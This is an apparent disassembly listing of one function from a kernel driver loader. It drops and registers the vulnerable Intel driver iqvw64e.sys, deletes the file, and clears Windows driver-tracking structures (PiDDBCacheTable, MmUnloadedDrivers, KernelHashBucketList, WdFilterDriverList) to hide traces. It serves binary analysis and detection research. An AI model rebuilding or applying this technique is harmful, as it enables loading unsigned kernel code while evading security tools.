Function at 0x140090500
Capabilities:
Delete file

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
cmp dword [0x1406e7bfc], 0xa
jl 0x14009053b
mov eax, dword [0x1406e7bf8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x140090560
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rsi, rax
cmp dword [0x1406e7bfc], 0xa
jl 0x14009056a
mov eax, dword [0x1406e7bf8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14009056a
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
jmp 0x14009053b
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul esi, eax
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.1400903f0
test al, al
je 0x1400905bb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____DeviceNal_is_already_in_use.
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
mov rsi, 0xffffffffffffffff
mov rax, rsi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
xorps xmm0, xmm0
movaps xmmword [0x1406eb240], xmm0
movaps xmmword [0x1406eb230], xmm0
movaps xmmword [0x1406eb220], xmm0
movaps xmmword [0x1406eb210], xmm0
movaps xmmword [0x1406eb200], xmm0
movaps xmmword [0x1406eb1f0], xmm0
mov dword [0x1406eb250], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rsi, eax
imul rax, rsi, 0x66666667
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x23
add eax, ecx
shl eax, 2
lea eax, [rax + rax*4]
sub esi, eax
cmp esi, 0xfffffff7
jl 0x140090668
add esi, 0xa
xor edi, edi
mov r14, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movabs r15, 0x4ec4ec4ec4ec4ec5
lea r12, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
lea rbx, [0x1406eb1f0]
call r14
movsxd rcx, eax
mov rax, rcx
mul r15
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [r12 + rcx]
mov byte [rdi + rbx], al
add rdi, 1
cmp rsi, rdi
jne 0x140090640
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.14008ffb0
cmp qword [rbp - 0x30], 0
je 0x140090732
cmp qword [rbp - 0x28], 8
mov rcx, rsi
jb 0x14009068d
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
lea rdx, [0x140259b90]
mov r8d, 0x8708
mov rcx, rsi
call fcn.1400b02b0
test al, al
je 0x140090756
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.1400ae780
test al, al
je 0x14009077a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str..Nal
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
add rax, 1
cmp rax, 1
ja 0x140090832
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
mov rcx, rsi
call fcn.140090ef0
mov rsi, 0xffffffffffffffff
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_TEMP_folder
call fcn.140090c40
mov rsi, 0xffffffffffffffff
mov rcx, rax
call fcn.140090e60
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_create_vulnerable_driver_file
call fcn.140090c40
mov rsi, 0xffffffffffffffff
mov rcx, rax
call fcn.140090e60
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
cmp qword [rbp - 0x28], 8
jb 0x1400907a0
mov rsi, qword [rbp - 0x40]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov rsi, 0xffffffffffffffff
lea rcx, [rbp - 0x40]
call fcn.1400a5220
cmp dword [0x1406e7e60], 0xa
jl 0x1400907e2
mov eax, dword [0x1406e7e64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400907e2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1400907e0
cmp dword [0x1406e856c], 0xa
jl 0x140090802
mov eax, dword [0x1406e8568]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140090802
nop dword [rax]
jmp 0x140090800
cmp dword [0x1406e7be8], 0xa
jl 0x1400905a6
mov eax, dword [0x1406e7bec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400905a6
nop word cs:[rax + rax]
nop
jmp 0x140090830
cmp dword [0x1406e7ee0], 0xa
jl 0x140090852
mov eax, dword [0x1406e7ee4]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140090852
nop dword [rax]
jmp 0x140090850
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
cmp dword [0x1406e7f00], 0xa
jl 0x140090882
mov eax, dword [0x1406e7f04]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140090882
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x140090880
movaps xmmword [rbp - 0x10], xmm0
lea rdx, [0x14026d1af]
lea rcx, [rbp - 0x20]
mov r8d, ntohl
call fcn.14008d7b0
lea rcx, [rbp - 0x20]
call fcn.1400b0510
mov qword [0x1406eb1e0], rax
cmp dword [0x1406e824c], 0xa
mov rax, qword [rbp - 8]
jl 0x14009090b
mov ecx, dword [0x1406e8248]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x14009090b
cmp rax, 0x10
jb 0x140090960
mov rcx, qword [rbp - 0x20]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140090904
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140090a98
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.1401fc464
jmp 0x140090960
cmp rax, 0x10
jb 0x140090946
mov rcx, qword [rbp - 0x20]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140090941
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x140090a98
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.1401fc464
cmp dword [0x1406e824c], 0xa
jl 0x140090976
mov eax, dword [0x1406e8248]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140090976
movaps xmm0, xmmword [0x1402599c0]
movaps xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov eax, reloc.WS2_32.dll_ntohs
jmp 0x14009090b
cmp qword [0x1406eb1e0], 0
je 0x1400909dc
mov rcx, rsi
call fcn.140091360
test al, al
je 0x140090a0b
mov rcx, rsi
call fcn.140091850
test al, al
je 0x140090a3a
mov rcx, rsi
call fcn.1400923b0
test al, al
je 0x140090a69
mov rcx, rsi
call fcn.1400927f0
test al, al
jne 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearWdFilterDriverList
call fcn.140093140
mov rcx, rax
call fcn.140090e60
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_get_ntoskrnl.exe
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
mov rcx, rsi
call fcn.140090ef0
mov rsi, 0xffffffffffffffff
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
mov rcx, rsi
call fcn.140090ef0
mov rsi, 0xffffffffffffffff
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearKernelHashBucketList
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
mov rcx, rsi
call fcn.140090ef0
mov rsi, 0xffffffffffffffff
jmp 0x1400907b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
call fcn.140090c40
mov rcx, rax
call fcn.140090e60
mov rcx, rsi
call fcn.140090ef0
mov rsi, 0xffffffffffffffff
jmp 0x1400907b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3